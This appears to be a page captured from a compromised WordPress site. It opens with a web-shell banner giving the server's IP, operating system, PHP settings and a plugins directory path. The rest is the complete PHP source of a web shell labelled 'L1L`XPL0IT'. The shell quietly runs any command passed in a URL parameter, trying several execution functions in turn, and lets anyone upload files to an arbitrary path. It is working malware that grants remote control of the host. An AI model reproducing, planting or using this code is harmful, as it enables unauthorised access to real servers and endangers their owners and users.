| Server IP : 217.11.249.137 / Your IP : 216.73.216.177 Web Server : Apache System : FreeBSD triton.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-a3d32f9e6 GENERIC amd64 User : www ( 80) PHP Version : 8.0.30 Disable Function : ini_restore, show_source, socket_select, socket_create_listen, socket_create_pair, socket_listen, socket_strerror, shell_exec, proc_nice, proc_terminate, readlink, symlink, link, pfsocketopen, ini_alter, dl, pcntl_exec, pcntl_fork, pcntl_signal, pcntl_waitpid, pcntl_wexitstatus, pcntl_wifexited, pcntl_wifsignaled, pcntl_wifsignaled, pcntl_wifstoped, pcntl_wifstopsig, pcntl_wtermsig, socket_accept, socket_bind, socket_create, socket_create_listen, popen, zlib_decode MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /data/www/24781/extramagazin_cz/www/wp-content/plugins/ |
Upload File : |
<?php
@error_reporting(0);
@ini_set('display_errors',0);
@set_time_limit(0);
if(isset($_GET['cmd'])){
echo '<pre>';
$c=$_GET['cmd'];
if(function_exists('proc_open')){$p=proc_open($c,array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w')),$pp);echo stream_get_contents($pp[1]);fclose($pp[0]);fclose($pp[1]);fclose($pp[2]);proc_close($p);}
elseif(function_exists('popen')){$h=popen($c,'r');while(!feof($h)){echo fread($h,4096);}pclose($h);}
elseif(function_exists('shell_exec')){echo shell_exec($c);}
elseif(function_exists('system')){system($c);}
elseif(function_exists('exec')){exec($c,$o);echo implode("\n",$o);}
else{echo 'NO_EXEC';}
echo '</pre>';exit;
}
if(isset($_FILES['f'])){
$n=$_FILES['f']['name'];
$d=isset($_POST['path'])&&$_POST['path']!==''?$_POST['path']:__DIR__.'/'.$n;
if(@move_uploaded_file($_FILES['f']['tmp_name'],$d)){echo 'OK: '.$d;}else{echo 'FAIL';}exit;
}
echo '<html><head><title>L1L</title><style>body{background:#000;color:#0f0;font:14px monospace;padding:20px}input,button{background:#111;color:#0f0;border:1px solid #333;padding:8px 12px;margin:5px}form{margin:20px 0}h2{color:#0f0}pre{background:#111;border:1px solid #333;padding:10px;max-height:400px;overflow:auto}</style></head><body><center><h2>L1L`XPL0IT</h2><form method=post enctype=multipart/form-data><input type=file name=f><input type=text name=path placeholder="dest path"><input type=submit value=Upload></form><form method=get><input type=text name=cmd placeholder=command size=50><input type=submit value=Exec></form></center></body></html>';
?>